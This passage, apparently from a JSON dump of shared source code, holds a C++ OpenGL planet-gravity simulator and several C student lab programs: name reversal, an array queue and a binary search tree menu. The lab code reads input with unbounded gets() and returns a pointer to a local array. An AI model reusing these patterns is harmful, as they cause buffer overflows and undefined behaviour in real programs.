color;\n\tbool operator==(const particle &RHS){\t\treturn(this->mass == RHS.mass);\t}\n\tbool operator!=(const struct particle RHS){\treturn(this->mass != RHS.mass);\t}\n\tbool operator<(const particle &RHS){\t\treturn(this->mass < RHS.mass);\t}\n\tbool operator<=(const particle &RHS){\t\treturn(this->mass <= RHS.mass);\t}\n\tbool operator>(const particle &RHS){\t\treturn(this->mass > RHS.mass);\t}\n\tbool operator>=(const particle &RHS){\t\treturn(this->mass >= RHS.mass);\t}\n\tvoid operator++(){ this->mass += 1.0; }\n}; // particle is just a data container\nbool operator==(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass == RHS.mass);\n}\nbool operator!=(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass != RHS.mass);\n}\nbool operator<(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass < RHS.mass);\n}\nbool operator<=(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass <= RHS.mass);\n}\nbool operator>(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass > RHS.mass);\n}\nbool operator>=(const particle &LHS, const particle &RHS){\n\treturn(LHS.mass >= RHS.mass);\n}\n\n/****************************************************\\\n\tGlobal Variables...\n\\********************/\ndouble\tG = -9.7, ax,ay,nx,ny; /* 10,000 km^3 / 100 metric-tonne * sec^2 */\n/** Universal Gravitational Constant 6.67E-8 cm**3/(gm*sec**2) **/\nvector<particle> planets;\nint current = 0;\nint next = 0;\nint width = 200, height = 200;\nparticle temp_planet;\nint colision = 1, sticky = 0, absorb = 0, refresh = 0, pause = 1, \nnewplanet = 0, set = 0, explode = 0, fountain = 0, stream = 0,\nline = 0, space = 0, showplanets = 1;\ndouble scale = 1.00, scw = 1.00, sch = 1.00;\ndouble T_Y = 0, T_X = 0;\nenum menu_options {\n\tCNONE, ELASTIC, ABSORB, FNONE, LINES, SPACE, CLEAR,\n\tPAUSE, ORBIT, RANDOM, EXPLODE, FOUNT,\n\tZOOM, ZOOMUP, ZOOMDOWN, CENTER, MASSI, MASSD,\n\tNADA, STICKY, STREAM,\n\tQUIT\n};\nvoid circle(double x, double y, double radius, int color) {\n\tglPushMatrix();\n\tglTranslated(x+0.5,y+0.5,0);\n\t\n\tif(radius < 1.0){ radius = 1.0; }\n\t\n\tglScalef(radius,radius,1.0);\n\tglCallList(color);\n\tglPopMatrix();\n}\nvoid draw_circle(){\n\tglNewList(1,GL_COMPILE);\n\tglTranslated(-0.5,-0.5,0);\n\tglBegin(GL_TRIANGLE_FAN);\n\tglColor3d(1.0, 1.0, 0.8);\n\tglVertex2d(0,0);\n\tglColor3d(0.5, 0.3, 0.0);\n\t\tfor(double ii=0; ii <7; ii+=0.1){\n\t\t\tglVertex2d(cos(ii)+0.5,sin(ii)+0.5);\n\t\t}\n\tglColor3d(1.0, 1.0, 0.8);\n\tglVertex2d(0,0);\n\tglEnd();\n\tglEndList();\n\tglNewList(2,GL_COMPILE);\n\tglTranslated(-0.5,-0.5,0);\n\tglBegin(GL_TRIANGLE_FAN);\n\tglColor3d(0.9, 1.0, 1.0);\n\tglVertex2d(0,0);\n\tglColor3d(0.0, 0.1, 0.5);\n\t\tfor(ii=0; ii <7; ii+=0.1){\n\t\t\tglVertex2d(cos(ii)+0.5,sin(ii)+0.5);\n\t\t}\n\tglColor3d(0.9, 1.0, 1.0);\n\tglVertex2d(0,0);\n\tglEnd();\n\tglEndList();\n\tglNewList(3,GL_COMPILE);\n\tglTranslated(-0.5,-0.5,0);\n\tglBegin(GL_TRIANGLE_FAN);\n\tglColor3d(1.0, 0.7, 1.0);\n\tglVertex2d(0,0);\n\tglColor3d(0.5, 0.0, 0.2);\n\t\tfor(ii=0; ii <7; ii+=0.1){\n\t\t\tglVertex2d(cos(ii)+0.5,sin(ii)+0.5);\n\t\t}\n\tglColor3d(1.0, 0.7, 1.0);\n\tglVertex2d(0,0);\n\tglEnd();\n\tglEndList();\n}\nvoid draw_planets(){\n\tint rad = 3, size = planets.size();\n\tfor(int ii=0; ii<size; ii++){\n\t\tif((planets[ii].color <1)||(planets[ii].color >3))\n\t\t\t\t\t\t\tplanets[ii].color = rand() % 3 + 1;\n\t\tif(planets[ii].mass > 100) planets[ii].mass = 1.0;\n\t\tcircle(planets[ii].x, planets[ii].y, \n\t\t\tplanets[ii].radius, planets[ii].color);\n\t}\n\tif(newplanet){\n\t\tif((temp_planet.color <1)||(temp_planet.color >3))\n\t\t\t\t\t\t\ttemp_planet.color = rand() % 3 + 1;\n\t\tcircle(temp_planet.x, temp_planet.y, \n\t\t\ttemp_planet.radius, temp_planet.color);\n\t}\n\t\n}\nvoid arrow(){\n\t\tglBegin(GL_LINES);\n\t\tglColor3f(1.0,0.5,0.0);\n\t\tglVertex2f(temp_planet.ax,temp_planet.ay);\n\t\tglVertex2f(temp_planet.x, temp_planet.y);\n\t\tglColor3f(1.0,0.0,1.0);\n\t\tglEnd();\n}\nbool CTZ(const particle p){\n\treturn ((p.mass <= 0.0)||\n\t\t/*(p.mass > 999999999999999)||*/\n\t\t(p.x*p.x > 100000000000000)||(p.y*p.y > 100000000000000)\n\t\t);\n}\nvoid cleanup(){\n\tvector<particle>::iterator del;\n\tdel = remove_if(planets.begin(), planets.end(), CTZ );\n\tplanets.erase(del, planets.end());\n}\n\nvoid move(){\n\tint size = planets.size();\n\tdouble dy,dx,rad,g,force,tempx,tempy;\n\tfor(int ii=0; ii<size; ii++){\n\t\tplanets[ii].x += planets[ii].ax;\n\t\tplanets[ii].y += planets[ii].ay;\n\t\tfor(int jj=0; jj<size; jj++){\n\t\t\t\n\t\t\tif(ii != jj){\n\t\t\t\tdx = planets[ii].x - planets[jj].x;\n\t\t\t\tdy = planets[ii].y - planets[jj].y;\n\t\t\t\trad = dx*dx + dy*dy;\n\t\t\t\tif(colision){\n\t\t\t\t\tif(rad <= \n\t\t\t\t\t\t(planets[ii].radius*planets[ii].radius +\n\t\t\t\t\t\tplanets[jj].radius*planets[jj].radius)){\n\t\t\t\t\t\tif(sticky){\n\t\t\t\t\t\t\ttempy = planets[jj].ay; \n\t\t\t\t\t\t\ttempx = planets[jj].ax;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforce =\tplanets[jj].mass * planets[jj].ax;\n\t\t\t\t\t\t\tplanets[jj].ax -= force / planets[ii].mass;\n\t\t\t\t\t\t\t// fii = mjj * ajj \n\t\t\t\t\t\t\tforce =\tplanets[jj].mass * planets[jj].ay;\n\t\t\t\t\t\t\tplanets[jj].ay -= force / planets[ii].mass;\n\t\t\t\t\t\t\t// aii = fii / mii \n\t\t\t\t\t\t\tforce = planets[ii].mass * tempx;\n\t\t\t\t\t\t\tplanets[ii].ax -= force / planets[jj].mass;\n\t\t\t\t\t\t\t// law of inertia...\n\t\t\t\t\t\t\tforce = planets[ii].mass * tempy;\n\t\t\t\t\t\t\tplanets[ii].ay -= force / planets[jj].mass;\n\t\t\t\t\t\t\t// f = m*a ... a = f/m ... m = f / a ...\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\telse{\n\t\t\t\t\t\t\ttempy = planets[ii].ay; \n\t\t\t\t\t\t\ttempx = planets[ii].ax;\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\tforce =\tplanets[jj].mass * planets[jj].ax;\n\t\t\t\t\t\t\tplanets[ii].ax += force / planets[ii].mass;\n\t\t\t\t\t\t\t// fii = mjj * ajj \n\t\t\t\t\t\t\tforce =\tplanets[jj].mass * planets[jj].ay;\n\t\t\t\t\t\t\tplanets[ii].ay += force / planets[ii].mass;\n\t\t\t\t\t\t\t// aii = fii / mii \n\t\t\t\t\t\t\tforce = planets[ii].mass * tempx;\n\t\t\t\t\t\t\tplanets[jj].ax += force / planets[jj].mass;\n\t\t\t\t\t\t\t// law of inertia...\n\t\t\t\t\t\t\tforce = planets[ii].mass * tempy;\n\t\t\t\t\t\t\tplanets[jj].ay += force / planets[jj].mass;\n\t\t\t\t\t\t\t// f = m*a ... a = f/m ... m = f / a ...\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif(absorb){\n\t\t\t\t\t\t\tif(planets[ii].mass < planets[jj].mass){\n\t\t\t\t\t\t\t\tplanets[ii].color = planets[jj].color;\n\t\t\t\t\t\t\t\tplanets[ii].x = planets[jj].x;\n\t\t\t\t\t\t\t\tplanets[ii].y = planets[jj].y;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tplanets[ii].mass += planets[jj].mass;\n\t\t\t\t\t\t\tplanets[ii].radius = planets[ii].mass * 2;\n\t\t\t\t\t\t\tplanets[ii].ax = planets[ii].ax / planets[ii].mass;\n\t\t\t\t\t\t\tplanets[ii].ay = planets[ii].ay / planets[ii].mass;\n\t\t\t\t\t\t\t\tplanets[jj].ax = planets[jj].ay = planets[jj].x = planets[jj].y\n\t\t\t\t\t\t\t\t\t= planets[jj].radius = planets[jj].mass = 0.0;\n\t\t\t\t\t\t\t\tcleanup();\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\tg = G * planets[jj].mass / rad;\n\t\t\t\trad = sqrt(rad);\n\t\t\t\tplanets[ii].ax += g * (dx/rad);\n\t\t\t\tplanets[ii].ay += g * (dy/rad);\n\t\t\t}\n\t\t\t\n\t\t}\n\t\t// */\n\t}\n\t\n}\nvoid draw_lines(){\n\tdouble Fg, iFg, rad, dx,dy;\n\tint size = planets.size();\n\tglBegin(GL_LINES);\n\tfor(int ii=0; ii < size; ii++){\n\t\tfor(int jj=0; jj<size; jj++){\n\t\t\tdx = planets[ii].x - planets[jj].x;\n\t\t\tdy = planets[ii].y - planets[jj].y;\n\t\t\trad = dx*dx + dy*dy;\n\t\t\tFg = (G * planets[jj].mass/ rad) * planets[ii].mass;\n\t\t\tiFg = 1 - Fg;\n\t\t\tglColor3f(Fg,planets[ii].ax,planets[ii].ay);\n\t\t\tglVertex2f(planets[ii].x, planets[ii].y);\n\t\t\tglColor3f(iFg,planets[jj].ax,planets[jj].ay);\n\t\t\tglVertex2f(planets[jj].x, planets[jj].y);\n\t\t}\n\t}\n\tglEnd();\n}\n\n/***************************/\n/* General Glut Functions: */\nvoid display(void) {\n\twidth = glutGet(GLUT_WINDOW_WIDTH) /2;\n\theight = glutGet(GLUT_WINDOW_HEIGHT) /2;\n\t\n\tglClear(GL_COLOR_BUFFER_BIT);\n\tglPushMatrix();\n\tglTranslated((width),(height),0);\n\tglScaled(scale,scale,1); /* Zoom */\n\tglTranslated((-T_X),(-T_Y),0); /* move */\n\t/* Draw Here */\n\t\n\tif(newplanet) arrow();\n\tif(line) draw_lines();\n\tdraw_planets();\n\tglPopMatrix();\n\tglutSwapBuffers();\n}\nvoid init (void) {\n\t/*General Init: */\n glClearColor(0.0, 0.0, 0.0, 0.0);\n glMatrixMode(GL_PROJECTION);\n glLoadIdentity();\n gluOrtho2D(0,400,400,0);\n glMatrixMode(GL_MODELVIEW);\n /* Call specific Init: */\n glEnable(GL_LINE_SMOOTH);\n\t glEnable(GL_POINT_SMOOTH);\n}\nvoid add_fountain(){\n\tparticle p;\n\tp.x = 0.0001 * rand();\n\tp.radius = p.mass = 1 + 0.0001 * rand();\n\tp.y = 0.0001 * rand();\n\tp.ax = p.ay = 0.0001*G*G;\n\tplanets.insert(planets.begin(), p);\t\n glutPostRedisplay();\n}\nvoid add_stream(){\n\tparticle p;\n\tp.x = -90 + (rand() % 90);\n\tp.radius = 2.0;\n\t\tp.mass = 1.0 + ( (rand() % 100)/100);\n\tp.y = -90;\n\tp.ax = p.ay = 2.5;\n\tp.color = 3;\n\tplanets.insert(planets.begin(), p);\t\n glutPostRedisplay();\n}\n\nvoid idle (void){\n\t/* General: */\n\tif(!pause){\n\t\tmove();\n\t\tcleanup();\n\t\tglutPostRedisplay();\n\t}\n\tif(refresh && pause){\n\t\tglutPostRedisplay();\n\t}\n\tif(fountain && !pause) add_fountain();\n\tif(stream && !pause) add_stream();\n}\nvoid keyboard(unsigned char dakey, int x, int y) {\n\tswitch (dakey) {\n\t /***************************/\n\t\t/* Zoom and View Controls: */\n\t\tcase '=':\n\t\t\tif(newplanet){ \n\t\t\t\ttemp_planet.mass += temp_planet.mass/2;\n\t\t\t\ttemp_planet.radius = temp_planet.mass*2;\n\t\t\t\tglutPostRedisplay();\n\t\t\t}\n\t\t\tbreak;\n\t\tcase '-':\n\t\t\tif(newplanet){ \n\t\t\t\ttemp_planet.mass -= temp_planet.mass/2;\n\t\t\t\ttemp_planet.radius = temp_planet.mass*2;\n\t\t\t\tglutPostRedisplay();\n\t\t\t}\n\t\t\tbreak;\n\t case 'r':\n\t\t scale = 1.0;\n\t\t T_Y = T_X = 0;\n\t\t break;\n\t case 'i':\n\t\t refresh = !refresh; T_Y -= 25 / scale; glutPostRedisplay(); break;\n\t case 'k':\n\t\t refresh = !refresh; T_Y += 25 / scale; glutPostRedisplay(); break;\n case 'l':\n\t\t refresh = !refresh; T_X += 25 / scale; glutPostRedisplay(); break;\n\t case 'j':\n\t\t refresh = !refresh; T_X -= 25 / scale; glutPostRedisplay(); break;\n\t case 'x': case '.' :\n\t\t refresh = !refresh;\n\t\t scale += scale/2; break;\n\t case 'z': case ',' :\n\t\t refresh = !refresh;\n\t\t if(scale > 0.0)scale -= scale/2; break;\n\t case 'p':\n\t\t pause = !pause;\n\t\t break;\n\t case 'q': case 'Q': exit(0); break;\n default: break;\n }\n}\nvoid menu(int value) {\n\tswitch(value) {\n\t case CNONE:\n\t\t colision = sticky = absorb = 0;\n\t\t break;\n\t case STICKY:\n\t\t colision = sticky = 1;\n\t\t absorb = 0;\n\t\t break;\n\t case ELASTIC:\n\t\t colision = 1; sticky = absorb = 0;\n\t\t break;\n\t case ABSORB:\n\t\t colision = absorb = 1;\n\t\t sticky = 0;\n\t\t break;\n\t case FNONE:\n\t\t line = space = 0;\n\t\t break;\n\t case LINES:\n\t\t line = !line;\n\t\t break;\n\t case CLEAR:\n\t\t planets.erase(planets.begin(), planets.end());\n\t\t glutPostRedisplay();\n\t\t break;\n\t case PAUSE:\n\t\t pause = !pause;\n\t\t break;\n\t case ORBIT:\n\t\t particle aa, bb, cc;\n\t\t aa.x = aa.y = aa.ax = aa.ay = 0;\n\t\t aa.radius = 10.0; aa.mass = 100.0; aa.color = 1;\n\t\t bb.x = 150; bb.y = bb.ax = 0; bb.ay = 2.6;\n\t\t bb.radius = 1.0; bb.mass = 0.01;\n\t\t cc.x = -30; cc.y = 30; cc.ax = -3.6; cc.ay = -3.6;\n\t\t cc.radius = 1.5; cc.mass = 0.03;\n\t\t planets.erase(planets.begin(), planets.end());\n\t\t planets.insert(planets.begin(), aa);\n\t\t planets.insert(planets.begin(), bb);\n\t\t planets.insert(planets.begin(), cc);\n\t\t bb.x = 0; bb.y = 85; bb.ax = -3.6; bb.ay = 0;\n \t\t planets.insert(planets.begin(), bb);\n\t\t cc.x = cc.y = 175; cc.ax = 1.9; cc.ay = 0; \n\t\t cc.mass = 0.003; cc.radius = 1.6;\n\t\t planets.insert(planets.begin(), cc);\n\t\t cc.x = cc.y = -300; cc.ax = 1.6; cc.ay = 0; \n\t\t cc.mass = 0.003; cc.radius = 1.6;\n\t\t planets.insert(planets.begin(), cc);\n\t\t cc.x = cc.y = -600; cc.ax = 0.15; cc.ay = 0;\n\t\t cc.mass = 0.00003; cc.radius = 1.06;\n\t\t planets.insert(planets.begin(), cc);\n\t\t cc.x = cc.y = -700; cc.ax = 0.2; cc.ay = 0; \n\t\t cc.mass = 0.00003; cc.radius = 1.006;\n\t\t planets.insert(planets.begin(), cc);\n\t\t glutPostRedisplay();\n\t\t break;\n\t case RANDOM:\n\t \t particle dd;\n\t\t int xx, ee;\n\t\t ee = rand() % 50;\n\t\t planets.erase(planets.begin(), planets.end());\n\t\t for(xx = 0; xx < ee; xx++){\n\t\t\t dd.x = rand() % 150; dd.y = rand() % 150;\n\t\t\t dd.mass = dd.radius = rand() % 25;\n\t\t\t dd.ax = rand() % 2; dd.y = rand() % 2;\n\t\t\t planets.insert(planets.begin(), dd);\n\t\t }\n\t\t glutPostRedisplay();\n\t\t break;\n\t case EXPLODE:\n\t\t explode = !explode;\n\t\t break;\n\t case FOUNT:\n\t\t fountain = !fountain;\n\t\t break;\n \t case STREAM:\n\t\t stream = !stream;\n\t\t break;\n\t case ZOOM:\n\t\t scale = 1.0;\n\t\t glutPostRedisplay();\n\t\t break;\n\t case ZOOMUP:\n\t\t scale += scale/2;\n\t\t glutPostRedisplay();\n\t\t break;\n\t case ZOOMDOWN:\n\t\t if(scale > 0.0) scale -= scale/2;\n \t\t glutPostRedisplay();\n\t\t break;\n\t case CENTER:\n\t\t T_X = T_Y = 0;\n\t\t glutPostRedisplay();\n\t\t break;\n\t case MASSI:\n\t\tif(newplanet){ \n\t\t\ttemp_planet.mass += temp_planet.mass/2;\n\t\t\ttemp_planet.radius = temp_planet.mass/2;\n\t\t\tglutPostRedisplay();\n\t\t}\n\t\t break;\n\t case MASSD:\n\t\tif(newplanet){ \n\t\t\ttemp_planet.mass -= temp_planet.mass/2;\n\t\t\ttemp_planet.radius = temp_planet.mass/2;\n\t\t\tglutPostRedisplay();\n\t\t}\n\t\t break;\n case QUIT: exit(0); break;\n }\n}\nvoid MakeMenu(){\n\t// create menu here...\n\tint COLIDE, FORCED, PREDEF, MZ;\n\t MZ = glutCreateMenu(menu);\n\t glutAddMenuEntry(\"No Zoom \", ZOOM);\n\t glutAddMenuEntry(\"Zoom++ <+>\", ZOOMUP);\n\t glutAddMenuEntry(\"Zoom-- <->\", ZOOMDOWN);\n\t glutAddMenuEntry(\"center <r> move:(i,j,k,l)\", CENTER);\n\t COLIDE = glutCreateMenu(menu);\n\t glutAddMenuEntry(\"none\" , CNONE);\n\t glutAddMenuEntry(\"elastic\" , ELASTIC);\n\t glutAddMenuEntry(\"absorbitive\" , ABSORB);\n\t glutAddMenuEntry(\" \\\"sticky\\\" \", STICKY);\n\t FORCED = glutCreateMenu(menu);\n\t glutAddMenuEntry(\"none\" , FNONE);\n\t glutAddMenuEntry(\"force - lines\" , LINES);\n\t // glutAddMenuEntry(\"color - space\" , SPACE);\n\t PREDEF = glutCreateMenu(menu);\n\t glutAddMenuEntry(\"Orbit\", ORBIT);\n\t glutAddMenuEntry(\"Random\", RANDOM);\n\t glutAddMenuEntry(\"Particle Fountain\", FOUNT);\n\t glutAddMenuEntry(\"Particle Stream\", STREAM);\n\t glutAddMenuEntry(\"explode\", EXPLODE);\n\t glutCreateMenu(menu);\n\t glutAddSubMenu(\"Zoom (z/x)\",MZ);\n\t glutAddSubMenu(\"Collision\", COLIDE);\n\t glutAddSubMenu(\"Force Display\", FORCED);\n\t glutAddSubMenu(\"Predefined\", PREDEF);\n \t glutAddMenuEntry(\"Mass ++\", MASSI);\n\t glutAddMenuEntry(\"Mass --\", MASSD);\n\n glutAddMenuEntry(\"Clear\", CLEAR);\n\t glutAddMenuEntry(\"Pause \", PAUSE);\n\t glutAddMenuEntry(\"================\", NADA);\n\t glutAddMenuEntry(\"Point and click \", NADA);\n\t glutAddMenuEntry(\" to add planets \", NADA);\n\t glutAddMenuEntry(\"second click for\", NADA);\n\t glutAddMenuEntry(\"velocity vector \", NADA);\n\t glutAddMenuEntry(\"================\", NADA);\n \n\t glutAddMenuEntry(\"<<< Quit >>>\", QUIT);\n glutAttachMenu(GLUT_RIGHT_BUTTON);\n}\n\n/*****************************************************************\\\n Mouse functions! Transforms Mouse Points to relative GL \n\t coordinates... by far the hardest part!\n\\**********************/\nvoid mouse(int button, int state, int Mx, int My) {\n\tswitch(button){\n\t\tcase GLUT_LEFT_BUTTON:\n\t\t\tif (state == GLUT_DOWN){\n\t\t\t\tif(!newplanet && !explode){\n\t\t\t\t\tnewplanet = !newplanet;\n\t\t\t\t\tif(set) set = !set;\n\t\t\t\t\ttemp_planet.x = ((Mx - width) / scale) + T_X;\n\t\t\t\t\ttemp_planet.y = ((My - height) / scale) + T_Y;\n\t\t\t\t\ttemp_planet.mass = 2.5;\n\t\t\t\t\ttemp_planet.radius = temp_planet.mass*2;\n\t\t\t\t\ttemp_planet.color = (rand() % 3) + 1;\n\t\t\t\t}\n\t\t\t\telse if(!set && ! explode){\n\t\t\t\t\tif ((((Mx - width) / scale) + T_X) == temp_planet.ax ) \n\t\t\t\t\t\tset = !set;\n\t\t\t\t\ttemp_planet.ax = ((Mx - width) / scale) + T_X;\n\t\t\t\t\ttemp_planet.ay = ((My - height) / scale) + T_Y;\n\t\t\t\t}\n\t\t\t\telse if (!explode){\n\t\t\t\t\ttemp_planet.ax = ((Mx - width) / scale) + T_X;\n\t\t\t\t\ttemp_planet.ay = ((My - height) / scale) + T_Y;\n\t\t\t\t\ttemp_planet.ax -= temp_planet.x;\n\t\t\t\t\ttemp_planet.ay -= temp_planet.y;\n\t\t\t\t\ttemp_planet.ax /= 10;\n\t\t\t\t\ttemp_planet.ay /= 10;\n\t\t\t\t\tnewplanet = !newplanet;\n\t\t\t\t\tif(set) set = !set;\n\t\t\t\t\tplanets.insert(planets.begin(), temp_planet);\n\t\t\t\t}\n\t\t\t\tif(explode){\n\t\t\t\t\t particle p;\n\t\t\t\t\t int xx, ee;\n\t\t\t\t\t ee = rand() % 10;\n\t\t\t\t\t for(xx = 0; xx < ee; xx++){\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tp.x = ( ( (Mx - width)/(scale) ) + T_X) + (50 - (rand() % 100));\n\t\t\t\t\t\t\t\tp.radius =\n\t\t\t\t\t\t\t\t\tp.mass =\n\t\t\t\t\t\t\t\t\t1.0 + ( (rand() % 30)/10);\n\t\t\t\t\t\t\t\tp.y = ( ( (My - width)/(scale) ) + T_X) + (50 - (rand() % 100));\n\t\t\t\t\t\t\t\tp.ax = 1.00 - (rand() % 200)/100;\n\t\t\t\t\t\t\t\tp.ay = 1.00 - (rand() % 200)/100;\n\t\t\t\t\t\t\t\tp.color = (rand() % 3)+1;\n\t\t\t\t\t\t\t\tplanets.insert(planets.begin(), p);\n\t\t\t\t\t }\n\t\t\t\t}\n\t\t\t\tglutPostRedisplay();\n\t\t\t} /* if */ \n\t\t\tbreak;\n\t}\n}\nvoid MouseMove(int newx, int newy){\n\tif(newplanet){\n\t\ttemp_planet.ax = ( ( (newx - width)/(scale) ) + T_X);\n\t\ttemp_planet.ay = ( ( (newy - height)/(scale) ) + T_Y);\n\t\tif(!set) set = !set;\n\t\tglutPostRedisplay();\n\t}\n}\nint main(int argc, char** argv) {\n\t glutInit(&argc, argv);\n glutInitDisplayMode (GLUT_DOUBLE | GLUT_RGB);\n glutInitWindowSize (2*width, 2*height); \n glutInitWindowPosition (100, 100);\n glutCreateWindow (\"Gravity Works! <right-click-for-menu>\");\n init();\n draw_circle();\n\t glutDisplayFunc(display);\n glutIdleFunc(idle);\n glutKeyboardFunc(keyboard);\n\t glutMouseFunc(mouse);\n\t glutPassiveMotionFunc(MouseMove);\n\t \n\t MakeMenu();\n\t menu(ORBIT);\n glutMainLoop();\n return(0); /* ANSI C requires main to return int. */\n}\n"},{"WorldId":3,"id":37,"LineNumber":1,"line":"/* Jason Boxall 1/13/97 CSC 131 Lab#5 */\n/* This program inputs a name(s) and prints it(them) out backwards */\n#include <stdio.h>\n#include <string.h>\nFILE *fout;\nvoid main()\n{\n char name[20];\n char *getname(); /* Fuction prototype */\n void switcheroo(char *); /* Fuction prototype */\n fout=fopen(\"a:lab5out.dat\",\"w\");\n strcpy(name,getname());\n while(strcmp(\"q\",name))\n {\n switcheroo(name);\n fprintf(fout,\"\\n\");\n strcpy(name,getname());\n }\n}\nchar *getname()\n{\n char name[20];\n printf(\"\\n\\nEnter in a name to print backwards or 'q' to quit: \");\n gets(name);\n return name;\n}\nvoid switcheroo(char *name)\n{\n int x,i;\n x=strlen(name);\n for(i=(x-1);i>=0;--i)\n {\n putchar(name[i]);\n fprintf(fout,\"%c\",name[i]);\n }\n}\n"},{"WorldId":3,"id":41,"LineNumber":1,"line":"/* Jason Boxall 1/21/96 CSC 131 Lab #9 */\n/* This program uses a 2D array and implements it as a queue */\n#include <stdio.h>\n#include <string.h>\nvoid enqueue(char [][15],int);\nvoid dequeue(char [][15],int);\nvoid display(char [][15],int);\nvoid main()\n{\n char names[10][15]={\"Ed Brown\",\"Ann Smith\",\"Sue Jones\"};\n int count=3;\n puts(\"The original queue is as follows:\");\n display(names,count);\n puts(\"After dequeuing, the queue is as follows:\");\n dequeue(names,--count);\n display(names,count);\n enqueue(names,++count);\n puts(\"After enqueuing, the queue is as follows:\");\n display(names,count);\n}\nvoid display(char n[][15],int count)\n{\n int i;\n for(i=0;i<count;++i)\n printf(\"%s\\n\",(n+i));\n puts(\"\");\n}\nvoid enqueue(char n[][15],int count)\n{\n puts(\"Enter a name:\");\n gets(n[count-1]);\n puts(\"\");\n}\nvoid dequeue(char m[][15],int count)\n{\n int i;\n for(i=0;i<=count;++i)\n strcpy(m[i],m[i+1]);\n}\n\n"},{"WorldId":3,"id":44,"LineNumber":1,"line":"#include <stdio.h>\n#include <stdlib.h>\n/* Binary Tree Structure Template */\ntypedef struct binary_tree\n{\n char letter;\n struct binary_tree *left;\n struct binary_tree *right;\n} TREE;\n/* Function declarations */\nTREE *fillTree(TREE *);\nvoid insert(char, TREE **);\nvoid menu(TREE *);\nvoid displayInfo();\nvoid inorder(TREE *);\nvoid preorder(TREE *);\nvoid postorder(TREE *);\nint search(TREE *, char, int);\nvoid freeTree(TREE *);\nint deleteNode(TREE *, char);\n/* Begin main function */\nvoid main()\n{\n TREE *root=NULL; /* Create the root pointer */\n root=fillTree(root); /* Fill the tree */\n menu(root); /* Pass menu root, and enjoy */\n}\n/* Begin fillTree function */\nTREE *fillTree(TREE *root)\n{\n FILE *fin=fopen(\"btree.dat\",\"r\"); /* Open data file & create FILE ptr */\n char letter;\n while(fscanf(fin,\"%c\",&letter)!=EOF) /* Fill tree letter by letter */\n insert(letter, &root);\n return root;\n}\n/* Begin insert function */\nvoid insert(char newLetter, TREE **root)\n{\n TREE *process;\n if(*root == NULL){\n process = (TREE *)malloc(sizeof(TREE));\n if(process!= NULL){\n process->letter = newLetter;\n process->left = NULL;\n process->right = NULL;\n *root = process;\n }\n else\n printf(\"Out of memory, can't insert letter.\\n\");\n }\n else{\n if(newLetter < (*root)->letter) insert(newLetter, &((*root)->left));\n else insert(newLetter, &((*root)->right));\n }\n}\n/* Begin menu function */\nvoid menu(TREE *root)\n{\n int choice, result, count;\n char target, process;\n displayInfo();\n while((scanf(\"%d\",&choice)!=8)){\n switch(choice){\n case 1: /* Traverse BST inorder */\n puts(\"\");\n inorder(root);\n displayInfo();\n break;\n case 2: /* Traverse BST in preorder */\n puts(\"\");\n preorder(root);\n displayInfo();\n break;\n case 3: /* Traverse BST in postorder */\n puts(\"\");\n postorder(root);\n displayInfo();\n break;\n case 4: /* Search BST for a node */\n count=0;\n puts(\"\");\n printf(\"\\nEnter target to search for: \");\n flushall(); /* Clear input buffer */\n scanf(\"%c\",&target);\n result=search(root, target, count);\n if(result==-1) printf(\"\\nTarget does not exist.\");\n else\n printf(\"\\nTarget %c found in %2d searches.\\n\", target, result);\n displayInfo();\n break;\n case 5: /* Count height of a node */\n count=0;\n puts(\"\");\n printf(\"\\nEnter character to count height of: \");\n flushall(); /* Clear input buffer */\n scanf(\"%c\",&target);\n result=search(root, target, count);\n if(result==-1) printf(\"\\nTarget does not exist.\");\n else\n printf(\"\\nCharacter %c has a height of %2d.\", target, result-1);\n displayInfo();\n break;\n case 6: /* Insert node into BST */\n puts(\"\");\n printf(\"\\nEnter character to insert into binary search tree: \");\n flushall(); /* Clear input buffer */\n scanf(\"%c\",&process);\n insert(process,&root);\n printf(\"\\nThe character %c was inserted.\", process);\n displayInfo();\n break;\n case 7: /* Delete node from BST */\n puts(\"\");\n printf(\"\\nEnter character to delete from binary search tree: \");\n flushall(); /* Clear input buffer */\n scanf(\"%c\",&process);\n result=deleteNode(root, process);\n if(result==0) printf(\"\\nCharacter doesn't exist.\");\n else printf(\"\\nCharacter %c deleted.\", process);\n displayInfo();\n break;\n case 8: /* Au Revoir! */\n printf(\"\\nHave a nice day. Goodbye.\");\n freeTree(root);\n break;\n default: /* Let user know they made an invalid choice */\n puts(\"\");\n printf(\"Invalid selection\\n\\n\");\n displayInfo();\n break;\n } /* End switch */\n } /* End while */\n}\n/* Begin displayInfo function */\nvoid displayInfo()\n{\n printf(\"\\n\\n\");\n puts(\"--------------------------------------------------\");\n puts(\" Binary Search Tree Menu Options \");\n puts(\"--------------------------------------------------\");\n printf(\"\\n\");\n printf(\"\\t 1 Display inorder traversal\\n\");\n printf(\"\\t 2 Display preorder traversal\\n\");\n printf(\"\\t 3 Display postorder traversal\\n\");\n printf(\"\\t 4 Search for a given node\\n\");\n printf(\"\\t 5 Count the height of a given node\\n\");\n printf(\"\\t 6 Insert a node onto the tree\\n\");\n printf(\"\\t 7 Delete a node from the tree\\n\");\n printf(\"\\t 8 Quit program\\n\");\n printf(\"\\n\");\n printf(\"Enter your selection: \");\n}\n/* Begin inorder function */\nvoid inorder(TREE *root)\n{\n if(root->left!=NULL) inorder(root->left);\n printf(\"%c\",root->letter);\n if(root->right!=NULL) inorder(root->right);\n}\n/* Begin preorder function */\nvoid preorder(TREE *root)\n{\n printf(\"%c\",root->letter);\n if(root->left!=NULL) preorder(root->left);\n if(root->right!=NULL) preorder(root->right);\n}\n/* Begin postorder function */\nvoid postorder(TREE *root)\n{\n if(root->left!=NULL) postorder(root->left);\n if(root->right!=NULL) postorder(root->right);\n printf(\"%c\",root->letter);\n}\n/* Begin search function */\nint search(TREE *root, char target, int count)\n{\n if(root==NULL) return -1; /* Target doesn't exist */\n count++;\n if(root->letter==target) return count; /* Target found */\n if(target > root->letter)\n return 